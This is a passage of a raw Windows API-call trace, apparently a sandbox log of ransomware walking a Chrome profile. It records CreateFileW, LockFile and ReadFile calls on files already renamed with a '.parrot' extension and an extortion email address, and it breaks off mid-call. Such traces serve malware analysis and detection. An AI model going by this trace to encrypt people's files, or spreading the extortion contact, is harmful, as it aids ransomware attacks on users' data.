ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.298] CloseHandle (hObject=0x23c) returned 1 [0094.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.298] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x148 [0094.298] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x260, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.298] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.298] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.299] CloseHandle (hObject=0x23c) returned 1 [0094.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.299] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x278 [0094.299] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x390, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.300] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.300] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.300] CloseHandle (hObject=0x23c) returned 1 [0094.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.301] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x10 [0094.301] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.301] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0094.301] CloseHandle (hObject=0x23c) returned 1 [0094.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.301] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1b8 [0094.301] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.302] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.302] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.302] CloseHandle (hObject=0x23c) returned 1 [0094.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.303] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x148 [0094.303] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x260, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.303] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.303] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.304] CloseHandle (hObject=0x23c) returned 1 [0094.304] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.304] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x5c8 [0094.304] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.304] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.304] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.305] CloseHandle (hObject=0x23c) returned 1 [0094.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.306] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x10 [0094.306] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.306] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0094.306] CloseHandle (hObject=0x23c) returned 1 [0094.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.306] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1b8 [0094.306] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.306] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.306] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.307] CloseHandle (hObject=0x23c) returned 1 [0094.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.307] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x148 [0094.307] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x260, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.308] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.308] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.309] CloseHandle (hObject=0x23c) returned 1 [0094.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.309] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x228 [0094.309] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x340, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.309] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.309] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.310] CloseHandle (hObject=0x23c) returned 1 [0094.310] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.310] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.310] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.310] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.311] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.311] CloseHandle (hObject=0x23c) returned 1 [0094.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.312] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.312] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.312] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.312] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.313] CloseHandle (hObject=0x23c) returned 1 [0094.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.313] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.313] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.313] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.313] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.314] CloseHandle (hObject=0x23c) returned 1 [0094.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.314] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.314] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.314] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.314] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.315] CloseHandle (hObject=0x23c) returned 1 [0094.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.316] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x208 [0094.316] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x320, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.316] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.316] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.317] CloseHandle (hObject=0x23c) returned 1 [0094.317] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.317] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x238 [0094.317] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x350, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.317] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.317] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.318] CloseHandle (hObject=0x23c) returned 1 [0094.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.318] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.318] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.319] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.319] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.320] CloseHandle (hObject=0x23c) returned 1 [0094.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.320] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.320] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.320] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.320] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.321] CloseHandle (hObject=0x23c) returned 1 [0094.321] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.321] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.321] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.321] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.321] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0094.322] CloseHandle (hObject=0x23c) returned 1 [0094.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0094.323] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x1f8 [0094.323] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x310, 